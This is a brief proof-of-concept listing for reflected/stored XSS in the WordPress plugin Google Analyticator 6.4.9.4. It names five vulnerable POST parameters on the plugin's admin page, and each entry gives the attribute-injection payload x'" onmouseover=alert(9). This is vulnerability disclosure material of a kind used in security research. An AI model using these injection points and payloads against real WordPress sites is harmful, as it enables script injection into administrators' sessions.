Proof of Concept URLs for XSS in Google Analyticator 6.4.9.4:
Url http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator
Parameter Name ga_adsense
Parameter Type POST
Attack Pattern x'" onmouseover=alert(9)
Url http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator
Parameter Name ga_admin_disable_DimentionIndex
Parameter Type POST
Attack Pattern x'" onmouseover=alert(9)
Url http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator
Parameter Name ga_downloads_prefix
Parameter Type POST
Attack Pattern x'" onmouseover=alert(9)
Url http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator
Parameter Name ga_downloads
Parameter Type POST
Attack Pattern x'" onmouseover=alert(9)
Url http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator
Parameter Name ga_outbound_prefix
Parameter Type POST
Attack Pattern x'" onmouseover=alert(9)
暂无评论